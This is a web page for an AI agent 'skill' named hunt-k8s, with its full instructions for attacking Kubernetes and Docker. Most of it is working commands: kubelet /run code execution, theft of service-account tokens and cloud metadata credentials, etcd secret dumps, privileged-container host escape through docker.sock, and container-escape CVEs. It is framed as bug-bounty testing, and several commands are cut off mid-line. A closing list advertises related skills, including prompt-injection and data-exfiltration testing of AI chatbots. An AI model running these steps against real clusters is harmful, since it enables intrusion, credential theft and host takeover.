hunt-k8s skill
Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.
Is the hunt-k8s skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the hunt-k8s skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter mkdir -p ~/.claude/skills cp -r /tmp/Claude-BugHunter/skills/hunt-k8s ~/.claude/skills/hunt-k8s
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
HUNT-K8S — Kubernetes & Docker Security
Crown Jewel Targets
K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.
Highest-value findings:
- K8s API anonymous cluster-admin — system:anonymous/system:unauthenticated bound to a powerful role (classic misconfig: system:anonymous in a ClusterRoleBinding to cluster-admin) → full kubectl. Mere anonymous 200 is NOT this (see false-positive section).
- Kubelet 10250 exec/run — /run returns command output directly; /exec is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
- API-server-mediated kubelet RCE — /api/v1/nodes//proxy/run/... reaches the kubelet through the API server using your (low-priv) token; if RBAC grants nodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
- etcd 2379 unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless EncryptionConfiguration is set) → full credential dump.
- docker.sock exposure — SSRF/LFI/RCE reaching /var/run/docker.sock → create --privileged container, bind-mount host / → host root.
- Container escape via runc — Leaky Vessels (CVE-2024-21626): WORKDIR/process.cwd pointing at a leaked /proc/self/fd/ host FD → break out of an attacker-controlled image/exec to host root.
- SA token abuse — auto-mounted token at /var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact.
- K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.
OOB / Confirmation Gate (Read First)
K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.
- A 200 on /api/v1/namespaces does not mean cluster-admin. The API server returns 200 with an RBAC-filtered (often empty items: []) list to any principal that can reach list namespaces — anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value.
- 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has /pods, /stats, /metrics, NO exec/run. 10250 (HTTPS) is where /run and /exec live. Do not report "kubelet RCE" off a 10255 hit.
- Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. curl http://. from inside the pod via /run). A delayed response or an echoed URL is NOT proof.
- Impact proof = the artifact. For exec: the literal id/hostname output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostname of the node, distinct from the container's).
- Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only id in a pod you spun up if policy allows, or limit to a single non-destructive id and stop.
Phase 1 — Fingerprint & Port Discovery
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKENote the gitVersion — it gates every CVE below.
Phase 2 — Kubernetes API Anonymous / Low-Priv Access
SRV="https://$TARGET:6443"
# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done
# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stCVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.
Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right
The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket streaming endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.
SRV="https://$TARGET:10250"
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
# kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
# kubeletctl --server $TARGET scan rce # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
# read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
# curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location
# websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"
# Container logs (read-oCVE-2020-8558 (host-network trust): on affected kube-proxy, services bound to the node's 127.0.0.1 (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only.
Phase 4 — API-Server-Mediated Kubelet RCE (nodes/proxy)
When 10250 is firewalled but you hold a token (even a low-priv pod SA) with nodes/proxy, route exec through the API server:
SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
# /run via the node proxy → output comes straight back
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"
# enumerate every pod on a node via the proxy
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"nodes/proxy in any bound role is effectively node-wide RCE. CVE-2022-3294 (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.
Phase 4b — Ingress-NGINX "IngressNightmare" (CVE-2025-1974)
An unauthenticated attacker who can reach the ingress-nginx admission controller (:8443, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted AdmissionReview for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (/healthz, pod image tag) and map to <1.11.5 / <1.12.1. (CVE-2025-1974 with CVE-2025-1097/1098/24513/24514.)
Phase 5 — etcd Unauth (Port 2379)
# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40
# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
-d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool
# v2 (older clusters)
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | headA recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. False positive: a 200 from etcd peer port 2380 or a TLS-required port returning a handshake error is not unauth client access — only a successful range/get with key data is.
Phase 6 — Service Account Token Abuse (Bound / Projected Tokens)
# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"
# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
# "exp" (projected tokens rotate ~1h — a captured token may already be dead),
# "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.
# Honest privilege check, then prove with a real read
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"EphemeralContainers node-shell escalation: with pods/ephemeralcontainers (or pod create), attach a debug container that shares the host namespaces to escape the pod:
kubectl debug node/$NODE -it --image=busybox # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
-d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'Phase 7 — Docker Socket Exposure & runc Container Escape
# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json
# Privileged container bind-mounting host root → read/write host fs (host escape)
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST http://localhost/v1.41/containers/create?name=poc \
-d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).Container-escape CVEs (gate on runc/version):
- CVE-2024-21626 — "Leaky Vessels" (runc ≤ 1.1.11): a leaked host file descriptor via /proc/self/fd/ lets a malicious image (WORKDIR /proc/self/fd/N) or runc exec cwd escape to the host filesystem → host RCE. Test only with an image you control on a build/registry surface where you can influence the Dockerfile.
- CVE-2019-5736 (runc): overwrite the host /proc/self/exe (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.
- CVE-2022-0492 (cgroups v1 releaseagent): a container with CAPSYSADMIN (or able to mount cgroupfs) writes a releaseagent that executes on the host → escape. Check container caps first.
Phase 8 — Dashboard, Admission, Helm/Tiller Remnants
# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl -sk "https://$TARGET:8443/api/v1/secret/default" # secrets list view
curl -sk "https://$TARGET:8443/api/v1/pod/default" # pods list view
curl -sk "https://$TARGET:8443/api/v1/namespace" # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)
# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls # if it answers, Tiller is exposed → install/delete any release
# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.Chain Table
False-Positive Killers
- Anon 200 ≠ cluster-admin. RBAC-filtered list returns 200/empty items. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.
- 10255 ≠ 10250. Read-only kubelet has no exec/run. "Kubelet RCE" must come from a /run output or a completed /exec stream on 10250.
- /exec plain-POST returns 302, not output. Seeing no body is NOT "patched" — follow the stream (kubeletctl/websocat) before concluding either way.
- Projected/bound SA token may be dead or wrong-audience. Decode exp and aud; a Vault/OIDC-audience token will not authenticate to the API server.
- etcd plaintext assumption. If EncryptionConfiguration is enabled, Secret values in etcd are ciphertext — don't claim "plaintext secrets" without showing decoded bytes.
- Version-gated CVEs. Confirm gitVersion (Phase 1) / runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.
- Dashboard 200 on the HTML shell is just the login page; only a 200 with real resource JSON under /api/v1// proves token-less data access.
Validation Checklist
- [ ] API anon: SelfSubjectRulesReview shows privileged verbs AND a real Secret value was read (redacted).
- [ ] Kubelet: literal id/hostname output returned from 10250 /run, or a completed /exec stream — not a bare 302.
- [ ] nodes/proxy RCE: command output returned through /api/v1/nodes//proxy/run/... with your token.
- [ ] etcd: decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.
- [ ] docker.sock / escape: the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.
- [ ] SA token: aud/exp decoded and shown valid; impact bounded to its real RBAC.
- [ ] OOB: any outbound/SSRF hop confirmed via Collaborator/interactsh subdomain.
Severity:
- API anon→secret read, kubelet/nodes-proxy RCE, etcd dump, docker.sock/runc escape, CVE-2018-1002105: Critical
- Dashboard token-less data access, exposed Tiller: High
- Read-only kubelet 10255, anon /version//pods info disclosure: Medium
More skills from elementalsouls/Claude-BugHunter
- Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
- Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
- Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
- Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
- Centerprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
- Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
- Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
- Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
- Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
- Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.